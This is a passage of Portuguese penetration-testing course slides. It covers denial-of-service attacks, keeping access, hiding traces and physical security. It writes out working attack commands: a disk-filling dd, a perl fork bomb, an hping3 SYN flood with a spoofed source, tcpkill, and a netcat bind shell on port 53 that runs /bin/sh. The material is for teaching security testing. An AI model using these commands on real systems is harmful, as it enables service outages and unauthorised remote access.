l  Exploram erros em aplicações...

l  ...ou entopem algum recurso

(CPU, Memória, disco, etc)

$ dd if=/dev/zero of=/var/spool/mail/MEU_USUARIO $ perl -e 'while(1) { fork(); open $fh, “</proc/meminfo”; open $hf, “>/tmp/bla”; }'

Invasão

Negação de Serviço

Page 158: teste de invasão

l  Ataques Distribuídos (DDoS)

l  Ataques Distribuídos Refletidos (DRDoS)

l  Ataques de Amplificação

l  Ataques Permanentes (PDoS)

Invasão

Negação de Serviço

Page 159: teste de invasão

l  Smurf Attack

è envia pedidos ICMP para endereços de broadcast com IP da vítima como origem

l  Ping flood è envia mais pedidos ICMP echo do que a vítima pode tratar

l  SYN flood è abre mais conexões TCP do que a vítima pode traar

l  Teardrop/Nuke/Ping of Death

Invasão

Negação de Serviço

Page 160: teste de invasão

# tcpnice -i eth0 EXPRESSAO_FILTRO # tcpkill -i eth0 -[1..9] EXPRESSAO_FILTRO # hping3 --flood --interface eth0 --spoof IP_ORIGEM (ou --rand_source) -S -p PORTA_ALVO IP_ALVO

Invasão

Negação de Serviço

Page 161: teste de invasão

Mantendo Acesso

Page 162: teste de invasão

l  Artefatos Maliciosos l  Backdoors

l  Cavalos de Troia

l  Wrappers / Packers

l  Rootkits

Mantendo Acesso

Page 163: teste de invasão

Mantendo Acesso

$ nc -u -l -p 53 -e /bin/sh (ou cmd.exe)

# nc -u IP_ALVO 53

Page 164: teste de invasão

Cobrindo Rastros

Page 165: teste de invasão

l  Escondendo Arquivos l  Editando Logs

l  Escondendo Tráfego

l  Esteganografia

Cobrindo Rastros

Page 166: teste de invasão

Cobrindo Rastros

Escondendo Arquivos

l  /usr/bin/ [tab][tab] Display all 1986 possibilities? (y or n)

l  Processos comuns (ps!)

l  /dev/, /tmp

Page 167: teste de invasão

Segurança Física

l  Pontos de rede l  Informações expostas

l  Conversas de funcionários

l  Janelas, fechaduras e portas de acesso

l  Pontos de entrada

l  Guardas/Recepcionistas

l  Lixo

Page 168: teste de invasão

Segurança Física

RFIDs, Biometria

Page 169: teste de invasão

Muito Obrigado!

[email protected]

Rafael Soares Ferreira Clavis Segurança da Informação

@rafaelsferreira